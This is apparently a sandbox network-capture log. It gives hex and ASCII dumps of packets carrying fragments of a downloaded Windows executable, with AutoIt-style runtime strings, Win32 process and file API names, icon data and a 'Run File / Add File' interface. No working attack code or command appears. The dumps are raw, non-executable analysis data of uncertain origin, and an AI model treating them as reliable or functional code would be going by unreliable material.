2022-08-04 11:37:14 UTC	4132	IN	Data Raw: 00 00 28 20 38 50 58 07 08 00 37 30 30 57 50 07 00 00 20 20 08 00 00 00 00 08 60 68 60 60 60 60 00 00 78 70 78 78 78 78 08 07 08 00 00 07 00 08 08 08 00 00 08 00 08 00 07 08 00 00 00 00 00 00 00 63 00 63 00 73 00 00 00 55 00 54 00 46 00 2d 00 38 00 00 00 00 00 00 00 55 00 54 00 46 00 2d 00 31 00 36 00 4c 00 45 00 00 00 00 00 00 00 00 00 55 00 4e 00 49 00 43 00 4f 00 44 00 45 00 00 00 63 63 73 00 55 54 46 2d 38 00 00 00 00 00 00 00 55 54 46 2d 31 36 4c 45 00 00 00 00 00 00 00 00 55 4e 49 43 4f 44 45 00 18 2d 44 54 fb 21 f9 3f 00 00 00 50 fb 21 f9 3f 00 00 00 60 b4 10 51 3e 06 5c 14 33 26 a6 91 3c 00 00 00 00 00 00 00 c0 5f 6c 6f 67 62 00 00 00 5f 79 6e 00 5f 79 31 00 5f 79 30 00 66 72 65 78 70 00 00 00 66 6d 6f 64 00 00 00 00 5f 68 79 70 6f 74 00 00 5f 63 Data Ascii: ( 8PX700WP `h````xpxxxxccsUTF-8UTF-16LEUNICODEccsUTF-8UTF-16LEUNICODE-DT!?P!?`Q>\3&<_logb_yn_y1_y0frexpfmod_hypot_c
2022-08-04 11:37:14 UTC	4148	IN	Data Raw: 65 70 65 61 74 65 64 20 73 75 62 70 61 74 74 65 72 6e 20 69 73 20 74 6f 6f 20 6c 6f 6e 67 00 6f 63 74 61 6c 20 76 61 6c 75 65 20 69 73 20 67 72 65 61 74 65 72 20 74 68 61 6e 20 5c 33 37 37 20 28 6e 6f 74 20 69 6e 20 55 54 46 2d 38 20 6d 6f 64 65 29 00 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 3a 20 6f 76 65 72 72 61 6e 20 63 6f 6d 70 69 6c 69 6e 67 20 77 6f 72 6b 73 70 61 63 65 00 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 3a 20 70 72 65 76 69 6f 75 73 6c 79 2d 63 68 65 63 6b 65 64 20 72 65 66 65 72 65 6e 63 65 64 20 73 75 62 70 61 74 74 65 72 6e 20 6e 6f 74 20 66 6f 75 6e 64 00 44 45 46 49 4e 45 20 67 72 6f 75 70 20 63 6f 6e 74 61 69 6e 73 20 6d 6f 72 65 20 74 68 61 6e 20 6f 6e 65 20 62 72 61 6e 63 68 00 72 65 70 65 61 74 69 6e 67 20 61 20 44 45 46 49 4e Data Ascii: epeated subpattern is too longoctal value is greater than \377 (not in UTF-8 mode)internal error: overran compiling workspaceinternal error: previously-checked referenced subpattern not foundDEFINE group contains more than one branchrepeating a DEFIN
2022-08-04 11:37:14 UTC	4149	IN	Data Raw: 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 00 00 5c 00 56 00 61 00 72 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 54 00 72 00 61 00 6e 00 73 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 00 00 00 00 00 00 00 00 30 00 34 00 30 00 39 00 30 00 30 00 30 00 30 00 00 00 00 00 00 00 00 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 4c 00 61 00 6e 00 67 00 43 00 6f 00 64 00 65 00 70 00 61 00 67 00 65 00 00 00 25 00 75 00 2e 00 25 00 75 00 2e 00 25 00 75 00 2e 00 25 00 75 00 00 00 5c 00 2a 00 2e 00 2a 00 00 00 00 00 2e 00 00 00 2a 00 3f 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 6f 00 70 00 65 00 6e 00 20 00 00 00 00 00 00 00 20 00 61 00 6c 00 69 00 61 00 73 00 20 00 50 00 6c 00 61 00 79 00 4d 00 65 00 00 00 00 00 00 00 73 00 74 00 61 00 Data Ascii: leInfo\\VarFileInfo\Translation04090000DefaultLangCodepage%u.%u.%u.%u\..*?0.0.0.0open alias PlayMesta
2022-08-04 11:37:14 UTC	4165	IN	Data Raw: 00 6e 00 74 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 2e 00 00 00 00 00 5f 00 4e 00 65 00 77 00 45 00 6e 00 75 00 6d 00 00 00 00 00 00 00 00 00 67 00 65 00 74 00 5f 00 5f 00 4e 00 65 00 77 00 45 00 6e 00 75 00 6d 00 00 00 00 00 00 00 00 00 4e 00 75 00 6c 00 6c 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 61 00 73 00 73 00 69 00 67 00 6e 00 6d 00 65 00 6e 00 74 00 20 00 69 00 6e 00 20 00 46 00 4f 00 52 00 2e 00 2e 00 49 00 4e 00 20 00 6c 00 6f 00 6f 00 70 00 00 00 00 00 49 00 6e 00 63 00 6f 00 72 00 72 00 65 00 63 00 74 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 74 00 79 00 70 00 65 00 20 00 69 00 6e 00 20 00 46 00 4f 00 52 00 2e 00 2e 00 49 00 4e 00 20 00 6c 00 6f 00 6f 00 70 00 00 00 00 00 00 00 4e 00 6f 00 74 00 20 00 61 00 6e 00 20 00 Data Ascii: nt Object._NewEnumget__NewEnumNull Object assignment in FOR..IN loopIncorrect Object type in FOR..IN loopNot an
2022-08-04 11:37:14 UTC	4166	IN	Data Raw: 00 49 00 52 00 00 00 00 00 54 00 45 00 4d 00 50 00 44 00 49 00 52 00 00 00 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 00 00 00 00 00 00 00 00 43 00 4f 00 4d 00 53 00 50 00 45 00 43 00 00 00 43 00 4f 00 4d 00 50 00 49 00 4c 00 45 00 44 00 00 00 00 00 00 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 52 00 45 00 46 00 52 00 45 00 53 00 48 00 00 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 44 00 45 00 50 00 54 00 48 00 00 00 00 00 00 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 48 00 45 00 49 00 47 00 48 00 54 00 00 00 00 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 57 00 49 00 44 00 54 00 48 00 00 00 00 00 00 00 00 00 43 00 52 00 4c 00 46 00 00 00 00 00 4c 00 46 00 00 00 00 00 43 00 52 00 00 00 00 00 00 00 00 00 49 00 50 00 41 00 Data Ascii: IRTEMPDIRUSERNAMECOMSPECCOMPILEDDESKTOPREFRESHDESKTOPDEPTHDESKTOPHEIGHTDESKTOPWIDTHCRLFLFCRIPA
2022-08-04 11:37:14 UTC	4182	IN	Data Raw: 60 01 1d 09 00 1d 64 12 04 1d 54 11 04 1d 34 10 04 1d 01 0e 04 10 70 00 00 01 12 08 00 12 54 0e 00 12 34 0d 00 12 72 0e c0 0c 70 0b 60 01 2a 0c 00 2a 68 04 00 1e 34 15 00 1e 92 1a f0 18 e0 16 d0 14 c0 12 70 11 60 10 50 21 00 0a 00 00 d4 04 00 00 c4 05 00 00 74 0a 00 00 54 09 00 00 34 08 00 00 46 00 00 1f 46 00 00 00 67 0a 00 21 00 08 00 00 d4 04 00 00 c4 05 00 00 74 0a 00 00 54 09 00 00 46 00 00 1f 46 00 00 00 67 0a 00 21 0c 0a 00 0c 34 08 00 00 d4 04 00 00 c4 05 00 00 74 0a 00 00 54 09 00 00 46 00 00 1f 46 00 00 00 67 0a 00 21 00 00 00 00 46 00 00 1f 46 00 00 00 67 0a 00 21 14 08 00 14 d4 04 00 0f c4 05 00 0a 74 0a 00 05 54 09 00 00 46 00 00 1f 46 00 00 00 67 0a 00 01 06 02 00 06 52 02 60 21 00 00 00 40 47 00 00 64 47 00 00 a4 68 0a 00 21 07 02 00 07 34 Data Ascii: `dT4pT4rp`**h4p`P!tT4FFg!tTFFg!4tTFFg!FFg!tTFFgR`!@GdGh!4
2022-08-04 11:37:14 UTC	4183	IN	Data Raw: 00 0d 34 1a 00 0d 01 18 00 06 70 00 00 01 1f 0d 00 1f 64 2e 00 1f 54 2d 00 1f 34 2c 00 1f 01 26 00 18 f0 16 e0 14 d0 12 c0 10 70 00 00 01 23 0d 00 23 64 2e 00 23 54 2d 00 23 34 2c 00 23 01 26 00 1c f0 1a e0 18 d0 16 c0 14 70 00 00 01 16 0a 00 16 34 0e 00 16 52 12 f0 10 e0 0e d0 0c c0 0a 70 09 60 08 50 01 26 0e 00 26 68 04 00 1c 64 13 00 1c 54 12 00 1c 34 10 00 1c 92 18 f0 16 e0 14 d0 12 c0 10 70 01 0f 03 00 0f 01 04 20 02 30 00 00 01 0c 06 00 0c 34 0d 00 0c 72 08 70 07 60 06 50 01 13 06 00 13 68 02 00 0a 34 08 00 0a 52 06 70 21 00 04 00 00 78 02 00 00 68 03 00 40 09 01 00 4f 09 01 00 94 5c 0a 00 21 00 02 00 00 78 02 00 40 09 01 00 4f 09 01 00 94 5c 0a 00 21 00 00 00 40 09 01 00 4f 09 01 00 94 5c 0a 00 21 2d 04 00 2d 68 03 00 05 78 02 00 40 09 01 00 4f 09 Data Ascii: 4pd.T-4,&p##d.#T-#4,#&p4Rp`P&&hdT4p 04rp`Ph4Rp!xh@O\!x@O\!@O\!--hx@O
2022-08-04 11:37:14 UTC	4199	IN	Data Raw: 6c 75 73 68 46 69 6c 65 42 75 66 66 65 72 73 00 00 31 04 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 00 ac 00 43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 00 00 3e 03 50 72 6f 63 65 73 73 33 32 46 69 72 73 74 57 00 40 03 50 72 6f 63 65 73 73 33 32 4e 65 78 74 57 00 00 e8 03 53 65 74 46 69 6c 65 54 69 6d 65 00 cf 01 47 65 74 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 57 00 00 25 01 46 69 6e 64 46 69 72 73 74 46 69 6c 65 57 00 00 1a 01 46 69 6e 64 43 6c 6f 73 65 00 c4 00 44 65 6c 65 74 65 46 69 6c 65 57 00 31 01 46 69 6e 64 4e 65 78 74 46 69 6c 65 57 00 b5 04 6c 73 74 72 63 6d 70 69 57 00 10 03 4d 6f 76 65 46 69 6c 65 57 00 66 00 43 6f 70 79 46 69 6c 65 57 00 72 00 43 72 65 61 74 65 44 69 72 65 63 74 6f 72 79 57 00 00 7a 03 Data Ascii: lushFileBuffers1TerminateProcessCreateToolhelp32Snapshot>Process32FirstW@Process32NextWSetFileTimeGetFileAttributesW%FindFirstFileWFindCloseDeleteFileW1FindNextFileWlstrcmpiWMoveFileWfCopyFileWrCreateDirectoryWz
2022-08-04 11:37:14 UTC	4200	IN	Data Raw: 73 6b 46 72 65 65 53 70 61 63 65 45 78 57 00 b8 01 47 65 74 44 69 73 6b 46 72 65 65 53 70 61 63 65 57 00 79 02 47 65 74 56 6f 6c 75 6d 65 49 6e 66 6f 72 6d 61 74 69 6f 6e 57 00 1d 04 53 65 74 56 6f 6c 75 6d 65 4c 61 62 65 6c 57 00 84 00 43 72 65 61 74 65 48 61 72 64 4c 69 6e 6b 57 00 cb 00 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 00 df 03 53 65 74 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 57 00 00 38 02 47 65 74 53 68 6f 72 74 50 61 74 68 4e 61 6d 65 57 00 76 00 43 72 65 61 74 65 45 76 65 6e 74 57 00 00 d8 03 53 65 74 45 76 65 6e 74 00 00 c4 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 57 00 d6 03 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 57 00 90 02 47 6c 6f 62 61 6c 4c 6f 63 6b 00 00 97 02 47 6c 6f 62 Data Ascii: skFreeSpaceExWGetDiskFreeSpaceWyGetVolumeInformationWSetVolumeLabelWCreateHardLinkWDeviceIoControlSetFileAttributesW8GetShortPathNameWvCreateEventWSetEventGetEnvironmentVariableWSetEnvironmentVariableWGlobalLockGlob
2022-08-04 11:37:14 UTC	4216	IN	Data Raw: 00 b0 28 0a 40 01 00 00 00 88 28 0a 40 01 00 00 00 70 28 0a 40 01 00 00 00 60 28 0a 40 01 00 00 00 48 28 0a 40 01 00 00 00 38 28 0a 40 01 00 00 00 18 28 0a 40 01 00 00 00 08 28 0a 40 01 00 00 00 e8 27 0a 40 01 00 00 00 d8 27 0a 40 01 00 00 00 c8 27 0a 40 01 00 00 00 b0 27 0a 40 01 00 00 00 90 27 0a 40 01 00 00 00 78 27 0a 40 01 00 00 00 60 27 0a 40 01 00 00 00 48 27 0a 40 01 00 00 00 30 27 0a 40 01 00 00 00 18 27 0a 40 01 00 00 00 0c 27 0a 40 01 00 00 00 04 27 0a 40 01 00 00 00 f8 26 0a 40 01 00 00 00 d8 26 0a 40 01 00 00 00 b8 26 0a 40 01 00 00 00 98 26 0a 40 01 00 00 00 78 26 0a 40 01 00 00 00 60 26 0a 40 01 00 00 00 50 26 0a 40 01 00 00 00 a8 c7 09 40 01 00 00 00 38 26 0a 40 01 00 00 00 28 26 0a 40 01 00 00 00 08 26 0a 40 01 00 00 00 f0 25 0a 40 01 00 Data Ascii: (@(@p(@`(@H(@8(@(@(@'@'@'@'@'@x'@`'@H'@0'@'@'@'@&@&@&@&@x&@`&@P&@@8&@(&@&@%@
2022-08-04 11:37:14 UTC	4217	IN	Data Raw: 00 78 b4 09 40 01 00 00 00 00 00 00 00 00 00 00 00 68 b4 09 40 01 00 00 00 01 00 00 00 00 00 00 00 58 b4 09 40 01 00 00 00 02 00 00 00 00 00 00 00 48 b4 09 40 01 00 00 00 03 00 00 00 00 00 00 00 28 b4 09 40 01 00 00 00 04 00 00 00 00 00 00 00 10 b4 09 40 01 00 00 00 05 00 00 00 00 00 00 00 00 b4 09 40 01 00 00 00 06 00 00 00 00 00 00 00 e8 b3 09 40 01 00 00 00 07 00 00 00 00 00 00 00 d0 b3 09 40 01 00 00 00 08 00 00 00 00 00 00 00 b0 b3 09 40 01 00 00 00 09 00 00 00 00 00 00 00 98 b3 09 40 01 00 00 00 0a 00 00 00 00 00 00 00 88 b3 09 40 01 00 00 00 0b 00 00 00 00 00 00 00 78 b3 09 40 01 00 00 00 0c 00 00 00 00 00 00 00 78 b4 09 40 01 00 00 00 00 00 00 00 00 00 00 00 68 b4 09 40 01 00 00 00 01 00 00 00 00 00 00 00 58 b4 09 40 01 00 00 00 02 00 00 00 00 00 Data Ascii: x@h@X@H@(@@@@@@@@x@x@h@X@
2022-08-04 11:37:14 UTC	4233	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-04 11:37:14 UTC	4234	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-04 11:37:14 UTC	4250	IN	Data Raw: 00 fb 20 04 00 00 42 0a 00 30 22 04 00 c2 22 04 00 6c 58 0a 00 d0 22 04 00 06 23 04 00 7c 50 0a 00 20 23 04 00 5b 23 04 00 7c 50 0a 00 e0 23 04 00 43 24 04 00 7c 50 0a 00 50 24 04 00 91 25 04 00 ac 52 0a 00 b0 25 04 00 ef 25 04 00 f8 3e 0a 00 f0 25 04 00 0e 26 04 00 f8 3e 0a 00 10 26 04 00 82 28 04 00 44 54 0a 00 c0 28 04 00 dd 28 04 00 8c 5a 0a 00 e0 28 04 00 a3 29 04 00 a4 68 0a 00 b0 29 04 00 58 2a 04 00 6c 58 0a 00 b0 2a 04 00 0e 2b 04 00 f8 3e 0a 00 10 2b 04 00 20 2c 04 00 6c 58 0a 00 20 2c 04 00 46 2c 04 00 8c 5a 0a 00 a0 2c 04 00 83 2d 04 00 5c 54 0a 00 a0 2d 04 00 cd 2d 04 00 f8 3e 0a 00 e0 2d 04 00 40 2e 04 00 34 65 0a 00 40 2e 04 00 8a 2e 04 00 7c 50 0a 00 90 2e 04 00 af 2e 04 00 ec 3f 0a 00 b0 2e 04 00 de 2e 04 00 f0 3e 0a 00 90 2f 04 00 63 30 Data Ascii: B0""lX"#\|P #[#\|P#C$\|PP$%R%%>%&>&(DT((Z()h)XlX+>+ ,lX ,F,Z,-\T-->-@.4e@..\|P..?..>/c0
2022-08-04 11:37:14 UTC	4251	IN	Data Raw: 00 f8 3e 0a 00 b0 d2 04 00 4e d4 04 00 e8 54 0a 00 50 d4 04 00 d9 d4 04 00 6c 58 0a 00 e0 d4 04 00 0b d6 04 00 2c 56 0a 00 10 d6 04 00 cb d7 04 00 6c 58 0a 00 d0 d7 04 00 20 d8 04 00 8c 5a 0a 00 20 d8 04 00 c5 d8 04 00 44 56 0a 00 d0 d8 04 00 7a d9 04 00 4c 56 0a 00 80 d9 04 00 e3 d9 04 00 6c 58 0a 00 f0 d9 04 00 5b da 04 00 7c 50 0a 00 60 da 04 00 1c db 04 00 6c 58 0a 00 20 db 04 00 ea db 04 00 58 56 0a 00 f0 db 04 00 5e dd 04 00 6c 56 0a 00 60 dd 04 00 aa e0 04 00 84 56 0a 00 d0 e1 04 00 12 e2 04 00 f8 3e 0a 00 20 e2 04 00 62 e2 04 00 f8 3e 0a 00 70 e2 04 00 95 e2 04 00 f8 3e 0a 00 a0 e2 04 00 04 e4 04 00 e0 56 0a 00 a0 e4 04 00 c2 e4 04 00 f8 3e 0a 00 d0 e4 04 00 ff e4 04 00 7c 50 0a 00 00 e5 04 00 29 e5 04 00 f8 3e 0a 00 30 e5 04 00 64 e5 04 00 7c 50 Data Ascii: >NTPlX,VlX Z DVzLVlX[\|P`lX XV^lV`V> b>p>V>\|P)>0d\|P
2022-08-04 11:37:14 UTC	4267	IN	Data Raw: ce 83 cd 3f b1 a5 fe 48 c8 7b 33 ee 63 28 73 bf 8b 1e ef 18 c7 56 6c fd 5a 9f 0b c5 ce 97 50 7c 5f 84 71 9e 3f a1 d8 e9 14 4a 5c 27 41 7b df 8a 9d 97 52 c7 36 e6 3d 50 e2 1a 0a 25 d6 39 19 d7 ae dc 7b 2a fb ef d3 e1 24 4a 6a 7c f9 63 2a 09 ec 1f 4a 88 57 ae 36 b5 3a 75 ba 81 29 23 00 77 58 5a 70 cf 0e e1 48 93 5d 0d fe 65 d5 ea ee 75 78 93 ec 77 49 c4 12 12 a8 04 30 f9 d0 31 59 90 cb 3d d3 13 7c 41 e4 72 d7 37 d3 6f 04 b9 cc 1d 95 27 6b bb e3 ff 9a cb a2 47 8b 4b 87 5a bb 11 5e 26 ba bd 01 f9 f5 77 2d 37 9c 3a 65 04 c0 71 e7 4b 89 76 b3 c1 70 c2 62 67 12 ef f4 87 10 4c e5 fc 3a c5 af 08 19 6f 43 98 e4 ca 9c 30 be bb 47 2f 54 5e d0 4f de 76 e5 89 59 9d 3c 75 df d3 b3 94 23 6d 09 cc 06 01 76 b3 0e f3 5d 90 36 2d 72 5c d2 e4 d4 3d 3d 65 04 f0 e7 77 c4 1f ef Data Ascii: ?H{3c(sVlZP\|_q?J\'A{R6=P%9{$Jj\|cJW6:u)#wXZpH]euxwI01Y=\|Ar7o'kGKZ^&w-7:eqKvpbgL:oC0G/T^OvY<u#mv]6-r\==ew
2022-08-04 11:37:14 UTC	4268	IN	Data Raw: 72 a3 0d 57 6e 58 ac 04 66 fe 9d 2c 94 38 59 5a a7 2d 96 10 71 d3 9f bd 3c fb 4b a5 ca 01 6c aa f6 e0 0b d7 ac 85 d5 64 c8 a9 ad 14 7d 56 40 e3 82 08 99 d8 93 71 f7 d3 7e bc d4 15 cf 78 f1 9a a3 bb f0 63 df d3 68 5e de c6 98 c0 36 fa 3c b3 4e 37 ba cf f9 9f 65 ff cc fe bd df 8f a7 f6 78 f1 ad e5 37 15 3d cf 89 90 07 f5 52 df 3b 0f 7e f9 a2 55 9a 5c 48 98 1e dc fe 83 a7 7e fd c8 b6 83 ca 95 b3 31 12 70 ae 3e 79 f4 42 8f 23 f8 e7 8a a7 0f 0f 76 e0 f2 45 12 6e dd b2 e1 b8 ce bb c9 a8 53 c8 83 ef ff 81 a1 38 3e ff 58 40 0d 94 a0 1b 35 e1 4e fc e4 9f ce 87 51 af 3f e6 f5 73 42 b0 98 74 4a 80 25 92 32 3e f1 d7 11 0c 85 24 25 73 09 f7 ec c1 1f bd 4f 60 29 a2 25 d3 fb 82 cf d4 f4 32 95 3e 30 d2 38 e3 0c c0 c0 dc e9 e1 c3 b8 2f 7e 12 1e 6c 3e ab e8 79 0e 76 ef c5 Data Ascii: rWnXf,8YZ-q<Kld}V@q~xch^6<N7ex7=R;~U\H~1p>yB#vEnS8>X@5NQ?sBtJ%2>$%sO`)%2>08/~l>yv
2022-08-04 11:37:14 UTC	4284	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-04 11:37:14 UTC	4285	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-04 11:37:14 UTC	4301	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-04 11:37:14 UTC	4302	IN	Data Raw: ff ec ee ef ff eb ed ee ff ea ec ed ff e9 eb ec ff e7 ea eb ff e6 e9 e9 ff e6 e8 e9 ff e4 e6 e7 ff da dc dc ff bc ab 9e ff e1 78 3b ff e3 74 31 f1 bb 78 5d 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 76 3c b1 e9 96 4e ff dc 7b 32 ff ba a6 97 ff ef f2 f4 ff fa fa fb ff f8 f8 f8 ff f6 f6 f7 ff f5 f6 f6 ff f4 f5 f5 ff f3 f3 f4 ff f2 f3 f3 ff f1 f1 f2 ff f0 f0 f1 ff ef ef f0 ff ee ee ee ff ed ed ee ff ec ec ed ff eb eb ec ff ea ea ea ff e9 e9 e9 ff e8 e8 e8 ff e7 e8 e8 ff e7 e8 e8 ff e8 e8 e9 ff ea ea ea ff d8 db db ff c4 92 72 ff fa 7b 30 ff d7 78 3f 81 00 00 00 00 00 00 00 00 00 00 Data Ascii: x;t1x]v<N{2r{0x?
2022-08-04 11:37:14 UTC	4318	IN	Data Raw: ff fa fa fa ff fa fa fa ff 8c 89 85 ff 8c 89 85 ff fa fa fa ff fa fa fa ff cc cc cc ff dc da d7 ff fa fa f9 ff a6 a6 a6 ff fa f9 f8 ff db d7 cd ff cc cc cc ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff 8c 89 85 ff 8c 89 85 ff fa fa fa ff fa fa fa ff fa fa fa ff 9d 9d 9c ff dc da d7 ff e5 e3 dd ff db d9 d2 ff 94 93 91 ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff 8c 89 85 ff 8c 89 85 ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff c3 c3 c3 ff 8b 8b 8b ff c3 c3 c3 ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff 8c 89 85 ff 8c 89 85 ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa Data Ascii:
2022-08-04 11:37:14 UTC	4319	IN	Data Raw: 00 65 00 6c 00 70 00 3a 00 46 00 69 00 6c 00 65 00 20 00 4c 00 6f 00 63 00 61 00 74 00 69 00 6f 00 6e 00 5c 00 6e 00 20 00 50 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 5c 00 6e 00 20 00 53 00 74 00 61 00 72 00 74 00 20 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 5c 00 6e 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 53 00 74 00 61 00 74 00 65 00 27 00 48 00 69 00 64 00 64 00 65 00 6e 00 5c 00 6e 00 20 00 4e 00 6f 00 72 00 6d 00 61 00 6c 00 5c 00 6e 00 20 00 4d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 5c 00 6e 00 20 00 4d 00 61 00 78 00 69 00 6d 00 69 00 7a 00 65 00 64 00 08 00 52 00 75 00 6e 00 20 00 46 00 69 00 6c 00 65 00 08 00 41 00 64 00 64 00 20 00 46 00 69 00 6c 00 65 00 0b 00 52 00 65 00 6d 00 6f 00 76 00 65 00 Data Ascii: elp:File Location\n Parameter\n Start Directory\n Window State'Hidden\n Normal\n Minimized\n MaximizedRun FileAdd FileRemove
